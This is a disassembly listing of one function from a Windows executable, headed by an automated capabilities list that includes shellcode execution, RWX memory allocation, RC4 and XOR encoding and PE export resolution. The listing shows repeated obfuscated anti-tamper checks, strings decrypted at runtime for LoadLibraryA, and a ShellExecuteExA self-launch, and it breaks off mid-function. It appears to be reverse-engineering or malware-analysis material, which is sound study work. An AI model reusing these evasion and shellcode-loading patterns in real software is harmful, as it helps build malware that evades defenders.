Function at 0x14001fd84
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48728]
mov eax, 0x48800
call fcn.14008ed30
sub rsp, rax
mov rax, qword [0x1400df700]
xor rax, rsp
mov qword [rbp + 0x486f0], rax
mov rax, qword gs:[0x35]
mov esi, 0xce3e160c
movabs r12, 0x1cf36c5eb18189bc
cmp rax, rsi
jne 0x14001fe7a
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14001fe5a
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14001fe5a
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14001fe7a
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov edi, 0xce3e160c
mov ecx, edi
call fcn.140001f44
mov rax, qword gs:[0x35]
mov ebx, 0x293263b
mov r13d, 0xcbaaefd1
mov r15d, 0x2fac53c4
cmp rax, rsi
jne 0x14001ff4f
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, r13d
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14001ff2f
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14001ff2f
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14001ff4f
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
mov r14d, 0xfec3ba48
cmp rax, rsi
jne 0x14001ffff
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14001ffdf
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14001ffdf
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14001ffff
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov ecx, edi
call fcn.14001f32c
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x1400200b0
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140020090
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140020090
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400200b0
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x140020169
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140020149
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140020149
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140020169
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
lea rdx, [0x1400d2ea0]
lea rcx, [rbp + 0xb68]
call fcn.140001908
mov rdx, rax
mov ecx, edi
call fcn.140009480
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x140020230
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140020210
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140020210
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140020230
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x1400202e9
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400202c9
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400202c9
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400202e9
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov dword [rbp + 0x100], 0xd61fa5f9
mov dword [rbp + 0x104], 0xe63410f4
mov word [rbp + 0x108], 0xb6
xor r15d, r15d
mov edi, r15d
movabs r13, 0x1c99559a1
mov qword [rsp + 0x20], r13
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x100]
lea rcx, [rbp + 0x100]
call fcn.14002f828
xor al, dil
mov byte [rbp + rdi + 0x100], al
inc rdi
cmp rdi, 9
jb 0x140020316
mov byte [rbp + 0x109], r15b
lea rcx, [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x35]
cmp rax, rsi
mov r13d, 0xcbaaefd1
jne 0x14002040e
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400203ee
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400203ee
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002040e
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x1400204b8
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140020498
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140020498
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400204b8
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov dword [rbp + 0x210], 0xfdcc9592
mov dword [rbp + 0x214], 0x8f1f0399
mov dword [rbp + 0x218], 0x7298dfdc
xor eax, eax
mov byte [rbp + 0x21c], al
mov rdi, r15
movabs r14, 0x1c99559a1
mov qword [rsp + 0x20], r14
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x210]
lea rcx, [rbp + 0x210]
call fcn.14002f484
xor al, dil
mov byte [rbp + rdi + 0x210], al
inc rdi
cmp rdi, 0xc
jb 0x1400204eb
mov byte [rbp + 0x21c], r15b
lea rcx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x35]
cmp rax, rsi
mov r14d, 0xfec3ba48
jne 0x1400205f4
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400205d4
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400205d4
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400205f4
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14001f548
test eax, eax
jne 0x1400208a0
mov edi, r15d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284d0]
call fcn.1400b8590
mov r8d, ebx
lea rdx, [rbp + 0x284d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140020711
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xee0]
call fcn.1400b8590
mov dword [rbp + 0xed0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xed4], 0x400
mov qword [rbp + 0xed8], r15
mov dword [rbp - 0x60], 0x5d700d1b
mov word [rbp - 0x5c], 0x50
movabs rsi, 0x1c99559a1
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.14002f7b4
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, 5
jb 0x140020681
mov byte [rbp - 0x5b], r15b
lea rax, [rbp - 0x60]
mov qword [rbp + 0xee0], rax
lea rax, [rbp + 0x284d0]
mov qword [rbp + 0xee8], rax
mov byte [rsp + 0x61], r15b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xef0], rax
mov qword [rbp + 0xef8], r15
mov dword [rbp + 0xf00], 1
mov qword [rbp + 0xf08], r15
lea rcx, [rbp + 0xed0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14002f10b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14002071b
movabs rsi, 0x1c99559a1
mov word [rsp + 0x78], Ordinal_217
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0xd5
lea rcx, [rsp + 0x78]
call fcn.14002f65c
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r15b
mov edx, edi
lea rcx, [rbp + 0xb48]
call fcn.14001f3c8
mov rbx, rax
movdqa xmm0, xmmword [0x1400d5420]
movdqu xmmword [rbp + 0xc08], xmm0
movdqa xmm1, xmmword [0x1400d5580]
movdqu xmmword [rbp + 0xc18], xmm1
mov dword [rbp + 0xc28], 0x57435f9
mov dword [rbp + 0xc2c], 0x74470e8
mov dword [rbp + 0xc30], 0xbe38716b
mov word [rbp + 0xc34], 0xe9
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc08]
lea rcx, [rbp + 0xc08]
call fcn.14002f740
xor al, dil
mov byte [rbp + rdi + 0xc08], al
inc rdi
cmp rdi, 0x2d
jb 0x1400207a0
mov byte [rbp + 0xc35], r15b
mov r8, rbx
lea rdx, [rbp + 0xc08]
lea rcx, [rbp + 0xb28]
call fcn.1400307d4
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x1130]
call fcn.140030994
lea rcx, [rbp + 0xb28]
call fcn.1400302ec
lea rcx, [rbp + 0xb48]
call fcn.1400302ec
movdqa xmm0, xmmword [0x1400d5660]
movdqu xmmword [rbp + 0x2b8], xmm0
mov word [rbp + 0x2c8], reloc.WS2_32.dll_recvfrom
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2b8]
lea rcx, [rbp + 0x2b8]
call fcn.14002f23c
xor al, dil
mov byte [rbp + rdi + 0x2b8], al
inc rdi
cmp rdi, 0x11
jb 0x140020839
mov byte [rbp + 0x2c9], r15b
lea rcx, [rbp + 0x1130]
call fcn.14002ff40
xor r9d, r9d
lea r8, [rbp + 0x2b8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x14002094a
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002092a
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002092a
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002094a
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x1400209fa
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400209da
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400209da
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400209fa
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x140020aa4
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140020a84
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140020a84
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140020aa4
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x140020b5f
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140020b3f
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140020b3f
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140020b5f
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x140020c09
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140020be9
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140020be9
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140020c09
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
xor ecx, ecx
call fcn.140096804
mov rbx, rax
mov word [rsp + 0x7c], Ordinal_143
movabs r13, 0x1c99559a1
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, Ordinal_143
lea rcx, [rsp + 0x7c]
call fcn.14002f65c
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r15b
mov dword [rbp - 0x50], 0xa4299dce
mov word [rbp - 0x4c], 0xf2ce
xor eax, eax
mov byte [rbp - 0x4a], al
mov rdi, r15
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x50]
lea rcx, [rbp - 0x50]
call fcn.14002f4fc
xor al, dil
mov byte [rbp + rdi - 0x50], al
inc rdi
cmp rdi, 6
jb 0x140020c5c
mov byte [rbp - 0x4a], r15b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0xe68]
call fcn.140099ce4
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x140020d4d
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140020d2d
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140020d2d
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140020d4d
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf48]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x140020df7
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140020dd7
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140020dd7
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140020df7
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov ecx, 2
call fcn.140096804
mov rbx, rax
mov word [rbp - 0x70], Ordinal_143
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, 0x8b
lea rcx, [rbp - 0x70]
call fcn.14002f65c
mov byte [rbp - 0x70], al
mov byte [rbp - 0x6f], r15b
mov dword [rbp - 0x28], 0x2f3fb63
mov dword [rbp - 0x24], 0xa32f84
mov rdi, r15
mov r13d, 7
movabs r12, 0x1c99559a1
mov qword [rsp + 0x20], r12
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi - 0x28]
lea rcx, [rbp - 0x28]
call fcn.14002f6cc
xor al, dil
mov byte [rbp + rdi - 0x28], al
inc rdi
cmp rdi, r13
jb 0x140020e4b
mov byte [rbp - 0x21], r15b
mov r9, rbx
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0xe68]
call fcn.140099ce4
mov rax, qword gs:[0x35]
cmp rax, rsi
movabs r12, 0x1cf36c5eb18189bc
jne 0x140020f41
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140020f21
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140020f21
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140020f41
mov rax, qword [rbp + 0xf48]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf50]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x140021000
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x293263b
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0xcbaaefd1
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140020fe0
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140020fe0
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140021000
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov ecx, 1
call fcn.140096804
mov rbx, rax
mov word [rbp - 0x80], Ordinal_143
movabs r14, 0x1c99559a1
mov qword [rsp + 0x20], r14
mov r9d, 1
xor r8d, r8d
mov dl, 0x8b
lea rcx, [rbp - 0x80]
call fcn.14002f65c
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r15b
mov dword [rbp - 0x20], 0x2f3fb63
mov dword [rbp - 0x1c], 0xa32f84
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi - 0x20]
lea rcx, [rbp - 0x20]
call fcn.14002f6cc
xor al, dil
mov byte [rbp + rdi - 0x20], al
inc rdi
cmp rdi, r13
jb 0x14002104e
mov byte [rbp - 0x19], r15b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0xe68]
call fcn.140099ce4
mov rax, qword gs:[0x35]
cmp rax, rsi
mov r14d, 0xfec3ba48
jne 0x140021140
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140021120
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140021120
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140021140
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
mov ebx, 0x293263b
cmp rax, rsi
jne 0x140021201
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0xcbaaefd1
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400211e1
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400211e1
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140021201
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
movdqa xmm0, xmmword [0x1400d5490]
movdqu xmmword [rbp + 0xd28], xmm0
movdqa xmm1, xmmword [0x1400d5450]
movdqu xmmword [rbp + 0xd38], xmm1
movdqa xmm0, xmmword [0x1400d5540]
movdqu xmmword [rbp + 0xd48], xmm0
mov dword [rbp + 0xd58], 0xbacc27b6
mov dword [rbp + 0xd5c], 0xf4c74997
mov dword [rbp + 0xd60], 0xe2d9f8b9
mov word [rbp + 0xd64], 0x44c4
xor eax, eax
mov byte [rbp + 0xd66], al
mov rdi, r15
movabs r12, 0x1c99559a1
mov qword [rsp + 0x20], r12
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd28]
lea rcx, [rbp + 0xd28]
call fcn.14002f5e8
xor al, dil
mov byte [rbp + rdi + 0xd28], al
inc rdi
cmp rdi, 0x3e
jb 0x14002126d
mov byte [rbp + 0xd66], r15b
lea rcx, [rbp + 0xd28]
call fcn.1400017ac
mov rax, qword gs:[0x35]
cmp rax, rsi
movabs r12, 0x1cf36c5eb18189bc
jne 0x140021368
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140021348
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140021348
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140021368
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rsi
jne 0x140021412
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
